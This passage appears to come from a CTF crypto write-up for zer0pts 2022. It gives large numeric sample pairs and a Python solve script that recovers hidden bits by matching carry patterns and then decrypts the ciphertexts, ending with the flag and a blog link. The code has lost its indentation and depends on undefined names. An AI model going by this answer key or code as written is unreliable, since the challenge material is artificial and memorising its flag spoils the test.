59893212362815907532405947087025784708085266116769057039898147354412925044090153220989042284103404325854687552680012599928332894513456335262880534826337590163838342930824227485064719377091898309302249571067022332968710892445831379772706779065168876516673217263162588898769219718041828688140363769348530713353), (79929903390821367692644953497965456334197200271514348086515671944822306923569389587479278056502064631912551436400038874796089912525859807306028845613675345738316809974393210161335214317317282547424054232420491101188156464876387880719760762503395188783671020161716719019778279586253762103638437939434249381790, 89857961139816757150008815703465681491823059483772115999436833507289874036892061810214015243642525942721901926860851073361846506782557434229802427653862140158941076502840928350267010916993713024528623753675318913255586773545044379200763238273413176817483189541866246342916249955844389812223944865886002984471), (21505582821466200004550013870876525104143447421072525389743751465049894741375581789195097314490198664535226894031552067088637007426445474357150470112902853872292536744022315506584191004779933645154467378082672903973853201180861916991685506552696921837519444835296679259733857836846281378905045037595828160550, 150737832454836838500326536775308771471444851443044830208569933261898479542661796708651643441499189533372883845870769555298280270795638583554823227035816127645191805608376457068032602851025568793255778257480661288339657259055699804926183278881555271631550739092203684549531599188818907975580545140214797851939), (82409356647183954748198683422184212128218785230389996632722757273347685223296458202528209288822751955981501597443917159414291964759153758751018882035410611836724686857260327871148605267702566763085184299583681042659579950374534641518425863933157292273784045394943637325363728879884192410558789629753515057646, 127452726297140854633943977344185341055295879471863825553572497969118138186094336216463269088294103850407124046787775840324828149999596812286314423700116140000190120997333240581934255678045423527231409988904383911997279280530072699607175128832740184027373226582984315594618448896686759831224822467316794933847), (59611233493767294865241875523285018578076701474875291037731706834102783130367497366904089991011083387887515492253390323775891288461165880963194969438113604899223949737153494350454308064086321567650145539417270826198663132565208510441331902138281570878400072595731357019885600647732321926738273947562608157644, 70157241726529440645397841489302449402881034601267355956945050347542155838719997034454810241751931940985895991769931004432951109310307279734526471568638191966641028466576604323633293557960065610319052552109360186309611648176130095280945168688693570186168845032956654655301306568531047995477329233731229956329)]
'''
samples = [(53536597532072001987953947618348278754627989400141287390121235069154684901151037785859748979184936316373631831902809146296283677943962597534604255525506249461823500337285379914808964474967526592872056505342589956015812932016802878587968868709680902283391534727308782525444356458981946446499414654860284614520, 81532346990774035744149246687093739233563562488458025862353616811236592929927520013119734668192646961533496238336005840784718084030439712537516379227930454525398092222002748924190455613561037274262352611931228672169210405437515592633513976475385326451752928613223415909527061004459451687447536250438229313069), (66386312979313505149678133618856326319144553867702702385459153922747133031832397726785477639639118882220170181625651486209470420966794432855675760314140012404627473371964709165160895356332613716904862259760517220361299732389620364471023261156059281453710486335747739945414679129863018461429414603001697857446, 85261174871158793253251170096511329507950686012074175900297285932651459506466746833163233092110500260549112493891581801968326642820433154669204159233728445782735602091499081907681369237358292009672666790493125251265942836555505937199247016288696624486907900686233350997519714072921767900692658314341012697759), (82855910653571630421199586924290064641069898105009142491744415247047599925885867039675967433720877808837246893311086073625722335037176224944857408250783926787144552596936522944040355322283616854035345559542320221492782450762163375201132232198068564031292204827087344481753790175496844488214113399995621073845, 175296969798299274968012557170786092368204173509397227075563908445145281198388897932364983269564267700333186289328071508577281037265568594514552605443434849991432746122699895626574443768655211328254129356662362506444040888980557759944656814565739883517030509048164654789764265904377468502220390524717144235377), (67917841804732892981689897447067140250243688025894008707908785067903516730398892671208420467083015889709569161380034225841358061202903976101599885558281852732919925626113564403638386068192561694670751983174125962185889319180209997089150558713993053147437431514377524625946266322586240693521822157166913253252, 88945357251734933212352813578204370187949945474353763777144766387399403591004152716280959974027281030278966278660429855453466282481306531535008696456716849750359105560256589689405438426151043540639002283687324388798663877159884907300822253960925023688296255695337838887696136134077868905004005388733761580373), (9918102878229228388874703456709588349378129769200711367564918198958852463645060076822096286250103595406606762580385796743618856746481962289054262516759351728219898056054817253724902960895874747322046895326594875565470960140720807985078294650630937681577127061805103991591163481821481426681271204599230185380, 82826113536597745438466005687363774762514680698836237724434795687170677475999743373776958888324279961192900092635793403736543957087705717570584175426488425111499259180875471482211050794545424119388095632420668163381967137097789818040239897003474370113845568028535258944393437759425034717567600281696518871953), (38647603252527852986056757841524867125798897767982344531034814112894042422125890184740916374018986718308171159051726360766848509497563357986388009443288662663268816790699597542637089823398187381224886625292002476565982624482518341777098829293273611491271659781482529095516878330486493753850170264157589438416, 138476228446422586892776260074260849572691619458178888868254473908612520961319842298125975058855978296637345917187724904228605323458967308867483788442088221235878971910361103233086723179579222334058587679030246864138858393651841053946357488958447272497502288654198747265098818037897999131898889586542009950937), (12922793948371249596333839961495120188622006030071522465751878338793053410381612720446171918966667244493291904157802808744874379813003419660789753533345449527388070542963892747439687198664780515313515490945084035984866758354437223206582784772935582049082136715363859748337920403307640846903361021833332273246, 85070989668988318423769076350243749988573922135666558027845497016513511561825772224196335654464772069139283864144466116283948223181426411410690126065180704586874374578437305232415505990631813624180673373180769230119586952253097647501637943006674898068390698652697457330445914017080754067381195969202597654983), (51701453524123685823853237186189368497038297467549719028646687238972549222635628300375346182909664168258392686785026606591555924060936676672346368867560301435038900425899745463394600756485508100552827527922944186849834413179778459676140968494956421892026812687339321993763142060591336096874050090911999068980, 97499580437621235504955638537998177847885171111473693129301729724019726521644187005991238134209149047737502657226546329139736509043052126109113900842163120009252934655129552383127561287458225200533709765229189716376647572182692671878024320843749631341196992905049046275148981868487961104620760469703638931489), (63606056396031463747097593535358131813024723886573785223005230849871488541276385046641768753948733395454300850482855956945502304269996451557538283723998735144021373054820713745434677676831159882841293589885728873727593790166950687563427703302352421956683736286610883874569904871870018352042627786917388299036, 108338653083931371897153187094147035434160799810403104262313137502934110697881106000854750513971052821128355676671449777371457425855343449915488021688758234224358850561938249501868133216361775461258227925887527432901207288890232471732957188104262220713360962297927064953781035643825292899945120843589631670301), (61882351593000421073469028566205790661324055525768790116189817078842441754516769353741833078931220847679953006428418186322789756287281510624875607231660308780385681740327424534040370249270052649400732163625677325049975010796407196280403531462149224024265856670664923794235397963894480618288468315379715003470, 157173285756570107035567394879810114583855676263259883686462144635173379207504457425375137887660165209809094378196183223607716498100505448415719652503280182500288623917412333422439070924223028206016178538058867209887547287223819355822568724894475264193868180911244589267762917665209170118610047883715809265243), (18104666867760850446309860325586065982793938536636445550682886250279280490370489197473982640922834049465916688344408877409039725813152420731350562922947830970511215888675435524487080966121102426974997257627731487442056273967049258672906784950284574417578718984715097114739309173203179505890098315062855981657, 72560161702945573305264278661605157695604768546718301219730355394601875967172019497529510492875524283116947485319724522818156001311755873210626008662510363339536254059189610235032697014226792775159218385534173187842551461291551313912334924879273962435090667312489814378126284305604886992451007885865591780893), (53357724543145768207676668187683058033403406759871687094086725379179160441518786386196523812535796962665272643877829554631905985202478863136292737945895675365558138784310577831880661842974697744594435125909840765288412146607409352428426678455043366326279655738194079965352177411281261596026566035674725735721, 59893212362815907532405947087025784708085266116769057039898147354412925044090153220989042284103404325854687552680012599928332894513456335262880534826337590163838342930824227485064719377091898309302249571067022332968710892445831379772706779065168876516673217263162588898769219718041828688140363769348530713353), (79929903390821367692644953497965456334197200271514348086515671944822306923569389587479278056502064631912551436400038874796089912525859807306028845613675345738316809974393210161335214317317282547424054232420491101188156464876387880719760762503395188783671020161716719019778279586253762103638437939434249381790, 89857961139816757150008815703465681491823059483772115999436833507289874036892061810214015243642525942721901926860851073361846506782557434229802427653862140158941076502840928350267010916993713024528623753675318913255586773545044379200763238273413176817483189541866246342916249955844389812223944865886002984471), (21505582821466200004550013870876525104143447421072525389743751465049894741375581789195097314490198664535226894031552067088637007426445474357150470112902853872292536744022315506584191004779933645154467378082672903973853201180861916991685506552696921837519444835296679259733857836846281378905045037595828160550, 150737832454836838500326536775308771471444851443044830208569933261898479542661796708651643441499189533372883845870769555298280270795638583554823227035816127645191805608376457068032602851025568793255778257480661288339657259055699804926183278881555271631550739092203684549531599188818907975580545140214797851939), (82409356647183954748198683422184212128218785230389996632722757273347685223296458202528209288822751955981501597443917159414291964759153758751018882035410611836724686857260327871148605267702566763085184299583681042659579950374534641518425863933157292273784045394943637325363728879884192410558789629753515057646, 127452726297140854633943977344185341055295879471863825553572497969118138186094336216463269088294103850407124046787775840324828149999596812286314423700116140000190120997333240581934255678045423527231409988904383911997279280530072699607175128832740184027373226582984315594618448896686759831224822467316794933847), (59611233493767294865241875523285018578076701474875291037731706834102783130367497366904089991011083387887515492253390323775891288461165880963194969438113604899223949737153494350454308064086321567650145539417270826198663132565208510441331902138281570878400072595731357019885600647732321926738273947562608157644, 70157241726529440645397841489302449402881034601267355956945050347542155838719997034454810241751931940985895991769931004432951109310307279734526471568638191966641028466576604323633293557960065610319052552109360186309611648176130095280945168688693570186168845032956654655301306568531047995477329233731229956329)]
def calc_distribution(k):
dist = [set() for i in range(1 << k)]
for a in range(1<<k):
for x in range(1<<k):
for c in range(2):
b = (x + (x ^ a) + c) & ((1 << k) - 1)
dist[a].add(b)
return dist
def slide_window(samples, pos, width):
return set([(i >> pos) & ((1 << width) - 1) for i in samples])
def solve(samples, k):
guess = 0
step = 1
for i in range(1000 // step):
window = slide_window(samples, i * step, k)
x = max([i for i in range(len(dist)) if all(j in dist[i] for j in window)])
guess |= (x & ((1 << step) - 1)) << (i * step)
return guess
def handle_samples(samples):
s0 = [i if not i & 1 else i + N for i, N in samples]
s1 = [i if i & 1 else i + N for i, N in samples]
return (s0, s1)
K = 12
dist = calc_distribution(K)
s = handle_samples(samples)
res = [solve(i, K) for i in s]
for ct in res:
print(long_to_bytes(pow(ct, inverse(65537, P - 1), P)))
# zer0pts{hav3_y0u_unwittin91y_acquir3d_th3_k3y_t0_th3_d00r_t0_th3_N3w_W0r1d?}
|
Others
https://tl2cents.github.io/2022/03/22/Crypto-writeup-for-zer0pts-2022/